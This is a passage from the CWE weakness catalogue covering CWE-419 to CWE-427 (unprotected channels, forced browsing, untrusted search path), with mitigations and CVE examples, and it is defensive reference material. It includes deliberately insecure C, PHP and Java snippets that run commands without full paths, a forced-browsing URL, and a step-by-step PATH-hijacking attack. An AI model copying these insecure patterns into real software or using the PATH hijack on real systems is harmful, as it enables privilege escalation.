CERT C Secure Coding	MEM30-C	Exact	Do not access freed memory
Software Fault Patterns	SFP15		Faulty Resource Use

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-419: Unprotected Primary Channel

**Weakness ID** : 419

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1700

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<span style="color: red;">C</span>	1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<span style="color: red;">C</span>	417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Do not expose administrative functionality on the user UI.

#### Phase: Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<span style="color: red;">V</span>	Page
MemberOf	<span style="color: red;">C</span>	956	SFP Secondary Cluster: Channel Attack	888	2191
MemberOf	<span style="color: red;">C</span>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Primary Channel

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
383	Harvesting Information via API Event Monitoring

## CWE-420: Unprotected Alternate Channel

**Weakness ID** : 420

**Structure** : Simple

**Abstraction** : Base

### Description

The product protects a primary channel, but it does not use the same level of protection for an alternate channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to



similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
ParentOf		421	Race Condition During Access to Alternate Channel	965
ParentOf		422	Unprotected Windows Messaging Channel ('Shatter')	966
ParentOf		1299	Missing Protection Mechanism for Alternate Hardware Interface	1993
PeerOf		288	Authentication Bypass Using an Alternate Path or Channel	664

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

### Observed Examples

Reference	Description
<b>CVE-2002-0567</b>	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0567">https://www.cve.org/CVERecord?id=CVE-2002-0567</a>
<b>CVE-2002-1578</b>	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1578">https://www.cve.org/CVERecord?id=CVE-2002-1578</a>
<b>CVE-2003-1035</b>	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1035">https://www.cve.org/CVERecord?id=CVE-2003-1035</a>
<b>CVE-2002-1863</b>	FTP service can not be disabled even when other access controls would require it. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1863">https://www.cve.org/CVERecord?id=CVE-2002-1863</a>
<b>CVE-2002-0066</b>	Windows named pipe created without authentication/access control, allowing configuration modification. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0066">https://www.cve.org/CVERecord?id=CVE-2002-0066</a>

Reference	Description
<b>CVE-2004-1461</b>	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1461">https://www.cve.org/CVERecord?id=CVE-2004-1461</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		956	SFP Secondary Cluster: Channel Attack	888	2191

### Notes

#### Relationship

This can be primary to authentication errors, and resultant from unhandled error conditions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Alternate Channel

## CWE-421: Race Condition During Access to Alternate Channel

**Weakness ID** : 421

**Structure** : Simple

**Abstraction** : Base

### Description

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

### Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
ChildOf		420	Unprotected Alternate Channel	963

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-1999-0351</b>	FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0351">https://www.cve.org/CVERecord?id=CVE-1999-0351</a>
<b>CVE-2003-0230</b>	Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0230">https://www.cve.org/CVERecord?id=CVE-2003-0230</a>

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		956	SFP Secondary Cluster: Channel Attack	888	2191

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Channel Race Condition

### References

[REF-354]Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002 April. < <http://www.blakewatts.com/namedpipepaper.html> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-422: Unprotected Windows Messaging Channel ('Shatter')

**Weakness ID** : 422

**Structure** : Simple

**Abstraction** : Variant

### Description


The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		360	Trust of System Event Data	840

Nature	Type	ID	Name	Page
ChildOf		420	Unprotected Alternate Channel	963

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Always verify and authenticate the source of the message.

### Observed Examples

Reference	Description
<b>CVE-2002-0971</b>	Bypass GUI and access restricted dialog box. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0971">https://www.cve.org/CVERecord?id=CVE-2002-0971</a>
<b>CVE-2002-1230</b>	Gain privileges via Windows message. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1230">https://www.cve.org/CVERecord?id=CVE-2002-1230</a>
<b>CVE-2003-0350</b>	A control allows a change to a pointer for a callback function using Windows message. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0350">https://www.cve.org/CVERecord?id=CVE-2003-0350</a>
<b>CVE-2003-0908</b>	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0908">https://www.cve.org/CVERecord?id=CVE-2003-0908</a>
<b>CVE-2004-0213</b>	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0213">https://www.cve.org/CVERecord?id=CVE-2004-0213</a>
<b>CVE-2004-0207</b>	User can call certain API functions to modify certain properties of privileged programs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0207">https://www.cve.org/CVERecord?id=CVE-2004-0207</a>

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		953	SFP Secondary Cluster: Missing Endpoint Authentication	888	2190

### Notes

#### Relationship

Overlaps privilege errors and UI errors.

#### Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such. Alternate channel attacks likely exist in other

operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Windows Messaging Channel ('Shatter')
Software Fault Patterns	SFP30		Missing endpoint authentication

### References

[REF-402]Paget. "Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows". 2002 August. < <http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-424: Improper Protection of Alternate Path

**Weakness ID** : 424

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf	⊕	638	Not Using Complete Mediation	1322
ParentOf	⊖	425	Direct Request ('Forced Browsing')	969

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase: Architecture and Design**

Deploy different layers of protection to implement security in depth.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Fit	Page
MemberOf		945	SFP Secondary Cluster: Insecure Resource Access	888	2187
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf		1308	CISQ Quality Measures - Security	1305	2278
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279
MemberOf		1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Path Errors
Software Fault Patterns	SFP35		Insecure resource access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
127	Directory Indexing
554	Functionality Bypass

## CWE-425: Direct Request ('Forced Browsing')

**Weakness ID :** 425

**Structure :** Simple

**Abstraction :** Base

### Description

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

### Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		288	Authentication Bypass Using an Alternate Path or Channel	664
ChildOf		424	Improper Protection of Alternate Path	968
ChildOf		862	Missing Authorization	1657
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
CanPrecede		471	Modification of Assumed-Immutable Data (MAID)	1060


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Alternate Terms

**forced browsing** : The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

**Phase: Architecture and Design**

Consider using MVC based frameworks such as Struts.

### Demonstrative Examples

#### Example 1:

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

*Example Language: JSP*

*(Attack)*

```
http://somesite.com/someapplication/admin.jsp
```

### Observed Examples







Reference	Description
<b>CVE-2022-29238</b>	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29238">https://www.cve.org/CVERecord?id=CVE-2022-29238</a>
<b>CVE-2022-23607</b>	Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect. <a href="https://www.cve.org/CVERecord?id=CVE-2022-23607">https://www.cve.org/CVERecord?id=CVE-2022-23607</a>



Reference	Description
<b>CVE-2004-2144</b>	Bypass authentication via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2144">https://www.cve.org/CVERecord?id=CVE-2004-2144</a>
<b>CVE-2005-1892</b>	Infinite loop or infoleak triggered by direct requests. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1892">https://www.cve.org/CVERecord?id=CVE-2005-1892</a>
<b>CVE-2004-2257</b>	Bypass auth/auth via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2257">https://www.cve.org/CVERecord?id=CVE-2004-2257</a>
<b>CVE-2005-1688</b>	Direct request leads to infoleak by error. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1688">https://www.cve.org/CVERecord?id=CVE-2005-1688</a>
<b>CVE-2005-1697</b>	Direct request leads to infoleak by error. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1697">https://www.cve.org/CVERecord?id=CVE-2005-1697</a>
<b>CVE-2005-1698</b>	Direct request leads to infoleak by error. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1698">https://www.cve.org/CVERecord?id=CVE-2005-1698</a>
<b>CVE-2005-1685</b>	Authentication bypass via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1685">https://www.cve.org/CVERecord?id=CVE-2005-1685</a>
<b>CVE-2005-1827</b>	Authentication bypass via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1827">https://www.cve.org/CVERecord?id=CVE-2005-1827</a>
<b>CVE-2005-1654</b>	Authorization bypass using direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1654">https://www.cve.org/CVERecord?id=CVE-2005-1654</a>
<b>CVE-2005-1668</b>	Access privileged functionality using direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1668">https://www.cve.org/CVERecord?id=CVE-2005-1668</a>
<b>CVE-2002-1798</b>	Upload arbitrary files via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1798">https://www.cve.org/CVERecord?id=CVE-2002-1798</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	2127
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf		953	SFP Secondary Cluster: Missing Endpoint Authentication	888	2190
MemberOf		1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2230
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Notes

#### Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

#### Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Request aka 'Forced Browsing'
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
WASC	34		Predictable Resource Location
Software Fault Patterns	SFP30		Missing endpoint authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
87	Forceful Browsing
127	Directory Indexing
143	Detect Unpublicized Web Pages
144	Detect Unpublicized Web Services
668	Key Negotiation of Bluetooth Attack (KNOB)

## CWE-426: Untrusted Search Path

**Weakness ID :** 426

**Structure :** Simple

**Abstraction :** Base

### Description

The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

### Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the product uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted product would then execute. The problem extends to any type of critical resource that the product trusts.





Some of the most common variants of untrusted search path are:

- In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD\_PRELOAD may be used to locate a separate library.
- In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		673	External Influence of Sphere Definition	1390
ChildOf		642	External Control of Critical State Data	1330
PeerOf		427	Uncontrolled Search Path Element	977
PeerOf		428	Unquoted Search Path or Element	982

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Untrusted Path** :

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>There is the potential for arbitrary code execution with privileges of the vulnerable program.</i>	
Access Control		
Availability	DoS: Crash, Exit, or Restart	
	<i>The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.</i>	
Confidentiality	Read Files or Directories	
	<i>The program could send the output of unauthorized files to the attacker.</i>	

### Detection Methods

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

#### Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

#### Phase: Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

#### Phase: Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD\_LIBRARY\_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

#### Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

#### Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

### Demonstrative Examples

#### Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

*Example Language: C*

*(Bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
```

...

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

*Example Language:**(Attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir".
- The attacker creates a malicious program called "ls", and puts that program in /my/dir
- The user executes the program.
- When system() is executed, the shell consults the PATH to find the ls program
- The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin".
- The program executes the attacker's malicious program with the raised privileges.

### Example 2:

This code prints all of the running processes belonging to the current user.

*Example Language: PHP**(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

### Example 3:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

*Example Language: Java**(Bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

## Observed Examples

Reference	Description
<b>CVE-1999-1120</b>	Application relies on its PATH environment variable to find and execute program. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1120">https://www.cve.org/CVERecord?id=CVE-1999-1120</a>
<b>CVE-2008-1810</b>	Database application relies on its PATH environment variable to find and execute program. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1810">https://www.cve.org/CVERecord?id=CVE-2008-1810</a>
<b>CVE-2007-2027</b>	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2027">https://www.cve.org/CVERecord?id=CVE-2007-2027</a>
<b>CVE-2008-3485</b>	Untrusted search path using malicious .EXE in Windows environment. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3485">https://www.cve.org/CVERecord?id=CVE-2008-3485</a>
<b>CVE-2008-2613</b>	setuid program allows compromise using path that finds and loads a malicious library. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2613">https://www.cve.org/CVERecord?id=CVE-2008-2613</a>
<b>CVE-2008-1319</b>	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1319">https://www.cve.org/CVERecord?id=CVE-2008-1319</a>

## Functional Areas

- Program Invocation
- Code Libraries

## Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf	<b>C</b>	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	<b>C</b>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf	<b>V</b>	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	<b>C</b>	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Untrusted Search Path
CLASP			Relative path library search
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
38	Leveraging/Manipulating Configuration File Search Paths

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-176]Michael Howard and David LeBlanc. "Writing Secure Code". 1st Edition. 2001 November 3. Microsoft Press.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-427: Uncontrolled Search Path Element

**Weakness ID** : 427

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

